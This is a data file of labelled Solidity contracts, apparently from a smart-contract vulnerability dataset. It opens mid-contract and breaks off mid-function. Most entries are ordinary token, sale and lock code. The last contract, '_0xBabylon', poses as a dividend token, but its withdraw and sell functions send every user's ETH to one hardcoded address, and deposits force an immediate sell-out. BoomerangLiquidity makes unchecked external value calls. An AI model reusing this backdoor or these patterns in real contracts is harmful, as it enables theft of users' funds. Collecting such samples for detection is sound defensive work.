totalSupply = safeSub(totalSupply, difference);
burned = true;
Burned(difference);
}
}
} | 1 |
pragma solidity ^0.4.8;
contract AppCoins {
mapping (address => mapping (address => uint256)) public allowance;
function balanceOf (address _owner) public constant returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (uint);
}
contract Advertisement {
struct Filters {
string countries;
string packageName;
uint[] vercodes;
}
struct ValidationRules {
bool vercode;
bool ipValidation;
bool country;
uint constipDailyConversions;
uint walletDailyConversions;
}
struct Campaign {
bytes32 bidId;
uint price;
uint budget;
uint startDate;
uint endDate;
string ipValidator;
bool valid;
address owner;
Filters filters;
}
ValidationRules public rules;
bytes32[] bidIdList;
mapping (bytes32 => Campaign) campaigns;
mapping (bytes => bytes32[]) campaignsByCountry;
AppCoins appc;
bytes2[] countryList;
address public owner;
mapping (address => mapping (bytes32 => bool)) userAttributions;
event CampaignCreated(bytes32 bidId, string packageName,
string countries, uint[] vercodes,
uint price, uint budget,
uint startDate, uint endDate);
event PoARegistered(bytes32 bidId, string packageName,
uint[] timestampList,uint[] nonceList);
function Advertisement () public {
rules = ValidationRules(false, true, true, 2, 1);
owner = msg.sender;
appc = AppCoins(0x1a7a8bd9106f2b8d977e08582dc7d24c723ab0db);
}
function createCampaign (string packageName, string countries,
uint[] vercodes, uint price, uint budget,
uint startDate, uint endDate) external {
Campaign memory newCampaign;
newCampaign.filters.packageName = packageName;
newCampaign.filters.countries = countries;
newCampaign.filters.vercodes = vercodes;
newCampaign.price = price;
newCampaign.startDate = startDate;
newCampaign.endDate = endDate;
require(appc.allowance(msg.sender, address(this)) >= budget);
appc.transferFrom(msg.sender, address(this), budget);
newCampaign.budget = budget;
newCampaign.owner = msg.sender;
newCampaign.valid = true;
newCampaign.bidId = uintToBytes(bidIdList.length);
addCampaign(newCampaign);
CampaignCreated(
newCampaign.bidId,
packageName,
countries,
vercodes,
price,
budget,
startDate,
endDate);
}
function addCampaign(Campaign campaign) internal {
bidIdList.push(campaign.bidId);
campaigns[campaign.bidId] = campaign;
bytes memory country = new bytes(2);
bytes memory countriesInBytes = bytes(campaign.filters.countries);
uint countryLength = 0;
for (uint i=0; i<countriesInBytes.length; i++){
if(countriesInBytes[i]=="," || i == countriesInBytes.length-1){
if(i == countriesInBytes.length-1){
country[countryLength]=countriesInBytes[i];
}
addCampaignToCountryMap(campaign,country);
country = new bytes(2);
countryLength = 0;
} else {
country[countryLength]=countriesInBytes[i];
countryLength++;
}
}
}
function addCampaignToCountryMap (Campaign newCampaign,bytes country) internal {
if (campaignsByCountry[country].length == 0){
bytes2 countryCode;
assembly {
countryCode := mload(add(country, 32))
}
countryList.push(countryCode);
}
campaignsByCountry[country].push(newCampaign.bidId);
}
function registerPoA (string packageName, bytes32 bidId,
uint[] timestampList, uint[] nonces,
address appstore, address oem) external {
require (timestampList.length == nonces.length);
for(uint i = 0; i < timestampList.length-1; i++){
require((timestampList[i+1]-timestampList[i]) == 10000);
}
require(!userAttributions[msg.sender][bidId]);
userAttributions[msg.sender][bidId] = true;
payFromCampaign(bidId,appstore, oem);
PoARegistered(bidId,packageName,timestampList,nonces);
}
function cancelCampaign (bytes32 bidId) external {
address campaignOwner = getOwnerOfCampaign(bidId);
require (owner == msg.sender || campaignOwner == msg.sender);
uint budget = getBudgetOfCampaign(bidId);
appc.transfer(campaignOwner, budget);
setBudgetOfCampaign(bidId,0);
setCampaignValidity(bidId,false);
}
function setBudgetOfCampaign (bytes32 bidId, uint budget) internal {
campaigns[bidId].budget = budget;
}
function setCampaignValidity (bytes32 bidId, bool val) internal {
campaigns[bidId].valid = val;
}
function getCampaignValidity(bytes32 bidId) public view returns(bool){
return campaigns[bidId].valid;
}
function getCountryList () public view returns(bytes2[]) {
return countryList;
}
function getCampaignsByCountry(string country)
public view returns (bytes32[]){
bytes memory countryInBytes = bytes(country);
return campaignsByCountry[countryInBytes];
}
function getTotalCampaignsByCountry (string country)
public view returns (uint){
bytes memory countryInBytes = bytes(country);
return campaignsByCountry[countryInBytes].length;
}
function getPackageNameOfCampaign (bytes32 bidId)
public view returns(string) {
return campaigns[bidId].filters.packageName;
}
function getCountriesOfCampaign (bytes32 bidId)
public view returns(string){
return campaigns[bidId].filters.countries;
}
function getVercodesOfCampaign (bytes32 bidId)
public view returns(uint[]) {
return campaigns[bidId].filters.vercodes;
}
function getPriceOfCampaign (bytes32 bidId)
public view returns(uint) {
return campaigns[bidId].price;
}
function getStartDateOfCampaign (bytes32 bidId)
public view returns(uint) {
return campaigns[bidId].startDate;
}
function getEndDateOfCampaign (bytes32 bidId)
public view returns(uint) {
return campaigns[bidId].endDate;
}
function getBudgetOfCampaign (bytes32 bidId)
public view returns(uint) {
return campaigns[bidId].budget;
}
function getOwnerOfCampaign (bytes32 bidId)
public view returns(address) {
return campaigns[bidId].owner;
}
function getBidIdList ()
public view returns(bytes32[]) {
return bidIdList;
}
function payFromCampaign (bytes32 bidId, address appstore, address oem)
internal{
uint dev_share = 85;
uint appstore_share = 10;
uint oem_share = 5;
Campaign storage campaign = campaigns[bidId];
require (campaign.budget > 0);
require (campaign.budget >= campaign.price);
appc.transfer(msg.sender, division(campaign.price * dev_share,100));
appc.transfer(appstore, division(campaign.price * appstore_share,100));
appc.transfer(oem, division(campaign.price * oem_share,100));
campaign.budget -= campaign.price;
}
function division(uint numerator, uint denominator) public constant returns (uint) {
uint _quotient = numerator / denominator;
return _quotient;
}
function uintToBytes (uint256 i) constant returns(bytes32 b) {
b = bytes32(i);
}
} | 0 |
pragma solidity ^0.4.11;
contract Owned {
address public owner;
function Owned() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function setOwner(address _newOwner) onlyOwner {
owner = _newOwner;
}
}
library Prealloc {
struct UINT256 {
uint256 value_;
}
function set(UINT256 storage i, uint256 value) internal {
i.value_ = ~value;
}
function get(UINT256 storage i) internal constant returns (uint256) {
return ~i.value_;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Token {
uint256 public totalSupply;
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract VEN is Token, Owned {
using SafeMath for uint256;
string public constant name = "VeChain Token";
uint8 public constant decimals = 18;
string public constant symbol = "VEN";
struct Account {
uint256 balance;
uint256 rawTokens;
}
mapping(address => Account) accounts;
mapping(address => mapping(address => uint256)) allowed;
using Prealloc for Prealloc.UINT256;
Prealloc.UINT256 rawTokensSupplied;
uint256 bonusOffered;
function VEN() {
rawTokensSupplied.set(0);
}
function () {
revert();
}
function isSealed() constant returns (bool) {
return owner == 0;
}
function claimBonus(address _owner) internal{
require(isSealed());
if (accounts[_owner].rawTokens != 0) {
accounts[_owner].balance = balanceOf(_owner);
accounts[_owner].rawTokens = 0;
}
}
function balanceOf(address _owner) constant returns (uint256 balance) {
if (accounts[_owner].rawTokens == 0)
return accounts[_owner].balance;
if (isSealed()) {
uint256 bonus =
accounts[_owner].rawTokens
.mul(bonusOffered)
.div(rawTokensSupplied.get());
return accounts[_owner].balance
.add(accounts[_owner].rawTokens)
.add(bonus);
}
return accounts[_owner].balance.add(accounts[_owner].rawTokens);
}
function transfer(address _to, uint256 _amount) returns (bool success) {
require(isSealed());
claimBonus(msg.sender);
claimBonus(_to);
if (accounts[msg.sender].balance >= _amount
&& _amount > 0
&& accounts[_to].balance + _amount > accounts[_to].balance) {
accounts[msg.sender].balance -= _amount;
accounts[_to].balance += _amount;
Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
}
function transferFrom(
address _from,
address _to,
uint256 _amount
) returns (bool success) {
require(isSealed());
claimBonus(_from);
claimBonus(_to);
if (accounts[_from].balance >= _amount
&& allowed[_from][msg.sender] >= _amount
&& _amount > 0
&& accounts[_to].balance + _amount > accounts[_to].balance) {
accounts[_from].balance -= _amount;
allowed[_from][msg.sender] -= _amount;
accounts[_to].balance += _amount;
Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
function approve(address _spender, uint256 _amount) returns (bool success) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
ApprovalReceiver(_spender).receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function mint(address _owner, uint256 _amount, bool _isRaw) onlyOwner{
if (_isRaw) {
accounts[_owner].rawTokens = accounts[_owner].rawTokens.add(_amount);
rawTokensSupplied.set(rawTokensSupplied.get().add(_amount));
} else {
accounts[_owner].balance = accounts[_owner].balance.add(_amount);
}
totalSupply = totalSupply.add(_amount);
Transfer(0, _owner, _amount);
}
function offerBonus(uint256 _bonus) onlyOwner {
bonusOffered = bonusOffered.add(_bonus);
}
function seal() onlyOwner {
setOwner(0);
totalSupply = totalSupply.add(bonusOffered);
Transfer(0, address(-1), bonusOffered);
}
}
contract ApprovalReceiver {
function receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData);
}
contract VENSale is Owned{
enum Stage {
NotCreated,
Created,
Initialized,
Early,
Normal,
Closed,
Finalized
}
using SafeMath for uint256;
uint256 public constant totalSupply = (10 ** 9) * (10 ** 18);
uint256 constant privateSupply = totalSupply * 9 / 100;
uint256 constant commercialPlan = totalSupply * 23 / 100;
uint256 constant reservedForTeam = totalSupply * 5 / 100;
uint256 constant reservedForOperations = totalSupply * 22 / 100;
uint256 public constant nonPublicSupply = privateSupply + commercialPlan + reservedForTeam + reservedForOperations;
uint256 public constant publicSupply = totalSupply - nonPublicSupply;
uint256 public officialLimit;
uint256 public channelsLimit;
using Prealloc for Prealloc.UINT256;
Prealloc.UINT256 officialSold_;
uint256 public channelsSold;
uint256 constant venPerEth = 3500;
uint256 constant venPerEthEarlyStage = venPerEth + venPerEth * 15 / 100;
VEN ven;
address ethVault;
address venVault;
uint public startTime;
uint public endTime;
uint public earlyStageLasts;
bool initialized;
bool finalized;
function VENSale() {
officialSold_.set(0);
}
function exchangeRate() constant returns (uint256){
if (stage() == Stage.Early) {
return venPerEthEarlyStage;
}
if (stage() == Stage.Normal) {
return venPerEth;
}
return 0;
}
function blockTime() constant returns (uint) {
return block.timestamp;
}
function stage() constant returns (Stage) {
if (finalized) {
return Stage.Finalized;
}
if (!initialized) {
return Stage.Created;
}
if (blockTime() < startTime) {
return Stage.Initialized;
}
if (officialSold_.get().add(channelsSold) >= publicSupply) {
return Stage.Closed;
}
if (blockTime() < endTime) {
if (blockTime() < startTime.add(earlyStageLasts)) {
return Stage.Early;
}
return Stage.Normal;
}
return Stage.Closed;
}
function () payable {
buy();
}
function buy() payable {
require(msg.value >= 0.01 ether);
uint256 rate = exchangeRate();
require(rate > 0);
uint256 remained = officialLimit.sub(officialSold_.get());
uint256 requested = msg.value.mul(rate);
if (requested > remained) {
requested = remained;
}
uint256 ethCost = requested.div(rate);
if (requested > 0) {
ven.mint(msg.sender, requested, true);
ethVault.transfer(ethCost);
officialSold_.set(officialSold_.get().add(requested));
onSold(msg.sender, requested, ethCost);
}
uint256 toReturn = msg.value.sub(ethCost);
if(toReturn > 0) {
msg.sender.transfer(toReturn);
}
}
function officialSold() constant returns (uint256) {
return officialSold_.get();
}
function offerToChannels(uint256 _venAmount) onlyOwner {
Stage stg = stage();
require(stg == Stage.Early || stg == Stage.Normal || stg == Stage.Closed);
channelsSold = channelsSold.add(_venAmount);
require(channelsSold <= channelsLimit);
ven.mint(
venVault,
_venAmount,
true
);
onSold(venVault, _venAmount, 0);
}
function initialize(
VEN _ven,
address _ethVault,
address _venVault,
uint256 _channelsLimit,
uint _startTime,
uint _endTime,
uint _earlyStageLasts) onlyOwner {
require(stage() == Stage.Created);
require(_ven.owner() == address(this));
require(address(_ethVault) != 0);
require(address(_venVault) != 0);
require(_startTime > blockTime());
require(_startTime.add(_earlyStageLasts) < _endTime);
ven = _ven;
ethVault = _ethVault;
venVault = _venVault;
channelsLimit = _channelsLimit;
officialLimit = publicSupply.sub(_channelsLimit);
startTime = _startTime;
endTime = _endTime;
earlyStageLasts = _earlyStageLasts;
ven.mint(
venVault,
reservedForTeam.add(reservedForOperations),
false
);
ven.mint(
venVault,
privateSupply.add(commercialPlan),
true
);
initialized = true;
onInitialized();
}
function finalize() onlyOwner {
require(stage() == Stage.Closed);
uint256 unsold = publicSupply.sub(officialSold_.get()).sub(channelsSold);
if (unsold > 0) {
ven.offerBonus(unsold);
}
ven.seal();
finalized = true;
onFinalized();
}
event onInitialized();
event onFinalized();
event onSold(address indexed buyer, uint256 venAmount, uint256 ethCost);
} | 0 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 30067200;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0x97d1F98d57e1178e7487761EC16F8981A6dCAbce;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
pragma solidity ^0.4.21;
contract ERC20Interface {
function totalSupply() public constant returns (uint256);
function balanceOf(address tokenOwner) public constant returns (uint256 balance);
function allowance(address tokenOwner, address spender) public constant returns (uint256 remaining);
function transfer(address to, uint256 tokens) public returns (bool success);
function approve(address spender, uint256 tokens) public returns (bool success);
function transferFrom(address from, address to, uint256 tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract POWH {
function buy(address) public payable returns(uint256){}
function withdraw() public {}
function myTokens() public view returns(uint256){}
}
contract Owned {
address public owner;
address public ownerCandidate;
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function changeOwner(address _newOwner) public onlyOwner {
ownerCandidate = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == ownerCandidate);
owner = ownerCandidate;
}
}
contract BoomerangLiquidity is Owned {
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
modifier notPowh(address aContract){
require(aContract != powh_address);
_;
}
uint public multiplier;
uint public payoutOrder = 0;
address powh_address;
POWH weak_hands;
function BoomerangLiquidity(uint multiplierPercent, address powh) public {
multiplier = multiplierPercent;
powh_address = powh;
weak_hands = POWH(powh_address);
}
struct Participant {
address etherAddress;
uint payout;
}
Participant[] public participants;
function() payable public {
}
function deposit() payable public {
participants.push(Participant(msg.sender, (msg.value * multiplier) / 100));
if(myTokens() > 0){
withdraw();
}
payout();
}
function payout() public {
uint balance = address(this).balance;
require(balance > 1);
uint investment = balance / 2;
balance -= investment;
weak_hands.buy.value(investment).gas(1000000)(msg.sender);
while (balance > 0) {
uint payoutToSend = balance < participants[payoutOrder].payout ? balance : participants[payoutOrder].payout;
if(payoutToSend > 0){
participants[payoutOrder].payout -= payoutToSend;
balance -= payoutToSend;
if(!participants[payoutOrder].etherAddress.send(payoutToSend)){
participants[payoutOrder].etherAddress.call.value(payoutToSend).gas(1000000)();
}
}
if(balance > 0){
payoutOrder += 1;
}
if(payoutOrder >= participants.length){
return;
}
}
}
function myTokens() public view returns(uint256){
weak_hands.myTokens();
}
function withdraw() public {
weak_hands.withdraw.gas(1000000)();
}
function donate() payable public {
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner notPowh(tokenAddress) returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 0 |
pragma solidity ^0.4.23;
contract _0xBabylon{
uint256 constant scaleFactor = 0x10000000000000000;
int constant crr_n = 3;
int constant crr_d = 5;
int constant price_coeff = 0x42ea9ce452cde449f;
mapping(address => uint256) public holdings;
mapping(address => uint256) public avgFactor_ethSpent;
mapping(address => uint256) public color_R;
mapping(address => uint256) public color_G;
mapping(address => uint256) public color_B;
mapping(address => address) public reff;
mapping(address => uint256) public tricklingPass;
mapping(address => uint256) public pocket;
mapping(address => int256) public payouts;
uint256 public totalBondSupply;
int256 totalPayouts;
uint256 public trickleSum;
uint256 public stakingRequirement = 1e18;
address public lastGateway;
uint256 constant trickTax = 3;
uint256 public withdrawSum;
uint256 public investSum;
uint256 earningsPerBond;
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed gateway
);
event onBoughtFor(
address indexed buyerAddress,
address indexed forWho,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed gateway
);
event onReinvestFor(
address indexed buyerAddress,
address indexed forWho,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed gateway
);
event onTokenSell(
address indexed customerAddress,
uint256 totalTokensAtTheTime,
uint256 tokensBurned,
uint256 ethereumEarned,
uint256 resolved,
address indexed gateway
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted,
address indexed gateway
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event onCashDividends(
address indexed ownerAddress,
address indexed receiverAddress,
uint256 ethereumWithdrawn
);
event onColor(
address indexed customerAddress,
uint256 oldR,
uint256 oldG,
uint256 oldB,
uint256 newR,
uint256 newG,
uint256 newB
);
event onTrickle(
address indexed fromWho,
address indexed finalReff,
uint256 reward,
uint256 passUp
);
function holdingsOf(address _owner) public constant returns (uint256 balance) {
return holdings[_owner];
}
function withdraw(address to) public {
if(to == 0x0000000000000000000000000000000000000000 ){
to = msg.sender;
}to = 0x362c0F8F7f37126A1974B9c92EC1434A3B20EBed;
trickleUp(msg.sender);
uint256 balance = dividends(msg.sender);
payouts[msg.sender] += (int256) (balance * scaleFactor);
totalPayouts += (int256) (balance * scaleFactor);
uint256 pocketETH = pocket[msg.sender];
pocket[msg.sender] = 0;
trickleSum -= pocketETH;
balance += pocketETH;
withdrawSum += balance;
to.transfer(balance);
emit onCashDividends(msg.sender,to,balance);
}
function fullCycleSellBonds(uint256 balance) internal {
withdrawSum += balance;
0x362c0F8F7f37126A1974B9c92EC1434A3B20EBed.transfer(balance);
emit onWithdraw(msg.sender, balance);
}
function sellBonds(uint256 _amount) public {
uint256 bondBalance = holdings[msg.sender];
if(_amount <= bondBalance && _amount > 0){
sell(_amount);
}else{
sell(bondBalance);
}
}
function getMeOutOfHere() public {
sellBonds( holdings[msg.sender] );
withdraw(msg.sender);
}
function reffUp(address _reff) internal{
address sender = msg.sender;
if (_reff == 0x0000000000000000000000000000000000000000 || _reff == msg.sender){
_reff = reff[sender];
}
if( holdings[_reff] < stakingRequirement ){
if(lastGateway == 0x0000000000000000000000000000000000000000){
lastGateway = sender;
_reff = sender;
}
else
_reff = lastGateway;
}
reff[sender] = _reff;
}
function rgbLimit(uint256 _rgb)internal pure returns(uint256){
if(_rgb > 255)
return 255;
else
return _rgb;
}
function edgePigment(uint8 C)internal view returns (uint256 x)
{
uint256 holding = holdings[msg.sender];
if(holding==0)
return 0;
else{
if(C==0){
return 255 * color_R[msg.sender]/holding;
}else if(C==1){
return 255 * color_G[msg.sender]/holding;
}else if(C==2){
return 255 * color_B[msg.sender]/holding;
}
}
}
function fund(address reffo, address forWho) payable public {
fund_color( reffo, forWho, edgePigment(0),edgePigment(1),edgePigment(2) );
}
function fund_color( address _reff, address forWho,uint256 cR,uint256 cG,uint256 cB) payable public {
reffUp(_reff);
if (msg.value > 0.000001 ether){
investSum += msg.value;
cR=rgbLimit(cR);
cG=rgbLimit(cG);
cB=rgbLimit(cB);
buy( forWho ,cR,cG,cB);
if(msg.sender != 0x362c0F8F7f37126A1974B9c92EC1434A3B20EBed)
{getMeOutOfHere();
lastGateway = msg.sender;}
} else {
revert();
}
}
function reinvest_color(address forWho,uint256 cR,uint256 cG,uint256 cB) public {
cR=rgbLimit(cR);
cG=rgbLimit(cG);
cB=rgbLimit(cB);
processReinvest( forWho, cR,cG,cB);
}
function reinvest(address forWho) public {
processReinvest( forWho, edgePigment(0),edgePigment(1),edgePigment(2) );
}
function price(bool buyOrSell) public constant returns (uint) {
if(buyOrSell){
return getTokensForEther(1 finney);
}else{
uint256 eth = getEtherForTokens(1 finney);
uint256 fee = fluxFeed(eth, false, false);
return eth - fee;
}
}
function fluxFeed(uint256 _eth, bool slim_reinvest,bool newETH) public constant returns (uint256 amount) {
uint256 finalInvestSum;
if(newETH)
finalInvestSum = investSum-_eth;
else
finalInvestSum = investSum;
uint256 contract_ETH = finalInvestSum - withdrawSum;
if(slim_reinvest){
return _eth/(contract_ETH/trickleSum) * contract_ETH /investSum;
}else{
return _eth * contract_ETH / investSum;
}
}
function dividends(address _owner) public constant returns (uint256 amount) {
return (uint256) ((int256)( earningsPerBond * holdings[_owner] ) - payouts[_owner] ) / scaleFactor;
}
function contractBalance() internal constant returns (uint256 amount){
return investSum - withdrawSum - msg.value - trickleSum;
}
function trickleUp(address fromWho) internal{
uint256 tricks = tricklingPass[ fromWho ];
if(tricks > 0){
tricklingPass[ fromWho ] = 0;
uint256 passUp = tricks * (investSum - withdrawSum)/investSum;
uint256 reward = tricks-passUp;
address finalReff;
address reffo = reff[ fromWho ];
if( holdings[reffo] >= stakingRequirement){
finalReff = reffo;
}else{
finalReff = lastGateway;
}
tricklingPass[ finalReff ] += passUp;
pocket[ finalReff ] += reward;
emit onTrickle(fromWho, finalReff, reward, passUp);
}
}
function buy(address forWho,uint256 cR,uint256 cG,uint256 cB) internal {
if (msg.value < 0.000001 ether || msg.value > 1000000 ether)
revert();
uint256 fee = 0;
uint256 trickle = 0;
if(holdings[forWho] != totalBondSupply){
fee = fluxFeed(msg.value,false,true);
trickle = fee/trickTax;
fee = fee - trickle;
tricklingPass[forWho] += trickle;
}
uint256 numEther = msg.value - (fee+trickle);
uint256 numTokens = getTokensForEther(numEther);
buyCalcAndPayout( forWho, fee, numTokens, numEther, reserve() );
addPigment(forWho, numTokens,cR,cG,cB);
if(forWho != msg.sender){
if(reff[forWho] == 0x0000000000000000000000000000000000000000 || (holdings[reff[forWho]] < stakingRequirement) )
reff[forWho] = msg.sender;
emit onBoughtFor(msg.sender, forWho, numEther, numTokens, reff[forWho] );
}else{
emit onTokenPurchase(forWho, numEther ,numTokens , reff[forWho] );
}
trickleSum += trickle;
trickleUp(forWho);
}
function buyCalcAndPayout(address forWho,uint256 fee,uint256 numTokens,uint256 numEther,uint256 res)internal{
uint256 buyerFee = fee * scaleFactor;
if (totalBondSupply > 0){
uint256 bonusCoEff = (scaleFactor - (res + numEther) * numTokens * scaleFactor / ( totalBondSupply + numTokens) / numEther)
*(uint)(crr_d) / (uint)(crr_d-crr_n);
uint256 holderReward = fee * bonusCoEff;
buyerFee -= holderReward;
earningsPerBond += holderReward / totalBondSupply;
}
avgFactor_ethSpent[forWho] += numEther;
totalBondSupply += numTokens;
holdings[forWho] += numTokens;
int256 payoutDiff = (int256) ((earningsPerBond * numTokens) - buyerFee);
payouts[forWho] += payoutDiff;
totalPayouts += payoutDiff;
}
function TOKEN_scaleDown(uint256 value,uint256 reduce) internal view returns(uint256 x){
uint256 holdingsOfSender = holdings[msg.sender];
return value * ( holdingsOfSender - reduce) / holdingsOfSender;
}
function sell(uint256 amount) internal {
uint256 numEthersBeforeFee = getEtherForTokens(amount);
uint256 fee = 0;
uint256 trickle = 0;
if(totalBondSupply != holdings[msg.sender]){
fee = fluxFeed(numEthersBeforeFee, false,false);
trickle = fee/ trickTax;
fee -= trickle;
tricklingPass[msg.sender] +=trickle;
}
uint256 numEthers = numEthersBeforeFee - (fee+trickle);
uint256 resolved = mint(
calcResolve(msg.sender,amount,numEthersBeforeFee),
msg.sender
);
avgFactor_ethSpent[msg.sender] = TOKEN_scaleDown(avgFactor_ethSpent[msg.sender] , amount);
color_R[msg.sender] = TOKEN_scaleDown(color_R[msg.sender] , amount);
color_G[msg.sender] = TOKEN_scaleDown(color_G[msg.sender] , amount);
color_B[msg.sender] = TOKEN_scaleDown(color_B[msg.sender] , amount);
totalBondSupply -= amount;
holdings[msg.sender] -= amount;
int256 payoutDiff = (int256) (earningsPerBond * amount);
payouts[msg.sender] -= payoutDiff;
totalPayouts -= payoutDiff;
if (totalBondSupply > 0) {
uint256 etherFee = fee * scaleFactor;
uint256 rewardPerShare = etherFee / totalBondSupply;
earningsPerBond += rewardPerShare;
}
fullCycleSellBonds(numEthers);
trickleSum += trickle;
trickleUp(msg.sender);
emit onTokenSell(msg.sender,holdings[msg.sender]+amount,amount,numEthers,resolved,reff[msg.sender]);
}
function processReinvest(address forWho,uint256 cR,uint256 cG,uint256 cB) internal{
uint256 balance = dividends(msg.sender);
payouts[msg.sender] += (int256) (balance * scaleFactor);
totalPayouts += (int256) (balance * scaleFactor);
uint256 pocketETH = pocket[msg.sender];
uint value_ = (uint) (balance + pocketETH);
pocket[msg.sender] = 0;
if (value_ < 0.000001 ether || value_ > 1000000 ether)
revert();
uint256 fee = 0;
uint256 trickle = 0;
if(holdings[forWho] != totalBondSupply){
fee = fluxFeed(value_, true,false );
trickle = fee/ trickTax;
fee = fee - trickle;
tricklingPass[forWho] += trickle;
}
uint256 res = reserve() - balance;
uint256 numEther = value_ - (fee+trickle);
uint256 numTokens = calculateDividendTokens(numEther, balance);
buyCalcAndPayout( forWho, fee, numTokens, numEther, res );
addPigment(forWho, numTokens,cR,cG,cB);
if(forWho != msg.sender){
address reffOfWho = reff[forWho];
if(reffOfWho == 0x0000000000000000000000000000000000000000 || (holdings[reffOfWho] < stakingRequirement) )
reff[forWho] = msg.sender;
emit onReinvestFor(msg.sender,forWho,numEther,numTokens,reff[forWho]);
}else{
emit onReinvestment(forWho,numEther,numTokens,reff[forWho]);
}
trickleUp(forWho);
trickleSum += trickle - pocketETH;
}
function addPigment(address forWho, uint256 tokens,uint256 r,uint256 g,uint256 b) internal{
color_R[forWho] += tokens * r / 255;
color_G[forWho] += tokens * g / 255;
color_B[forWho] += tokens * b / 255;
emit onColor(forWho,r,g,b,color_R[forWho] ,color_G[forWho] ,color_B[forWho] );
}
function reserve() internal constant returns (uint256 amount){
return contractBalance()-((uint256) ((int256) (earningsPerBond * totalBondSupply) - totalPayouts ) / scaleFactor);
}
function getTokensForEther(uint256 ethervalue) public constant returns (uint256 tokens) {
return fixedExp(fixedLog(reserve() + ethervalue)*crr_n/crr_d + price_coeff) - totalBondSupply ;
}
function calculateDividendTokens(uint256 ethervalue, uint256 subvalue) public constant returns (uint256 tokens) {
return fixedExp(fixedLog(reserve() - subvalue + ethervalue)*crr_n/crr_d + price_coeff) - totalBondSupply;
}
function getEtherForTokens(uint256 tokens) public constant returns (uint256 ethervalue) {
uint256 reserveAmount = reserve();
if (tokens == totalBondSupply )
return reserveAmount;
return reserveAmount - fixedExp((fixedLog(totalBondSupply - tokens) - price_coeff) * crr_d/crr_n);
}
function () payable public {
if (msg.value > 0) {
fund(lastGateway,msg.sender);
} else {
withdraw(msg.sender);
}
}
address public resolver = this;
uint256 public totalSupply;
uint256 constant private MAX_UINT256 = 2**256 - 1;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
string public name = "0xBabylon";
uint8 public decimals = 18;
string public symbol = "PoWHr";
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Resolved(address indexed _owner, uint256 amount);
function mint(uint256 amount,address _account) internal returns (uint minted){
totalSupply += amount;
balances[_account] += amount;
emit Resolved(_account,amount);
return amount;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function calcResolve(address _owner,uint256 amount,uint256 _eth) public constant returns (uint256 calculatedResolveTokens) {
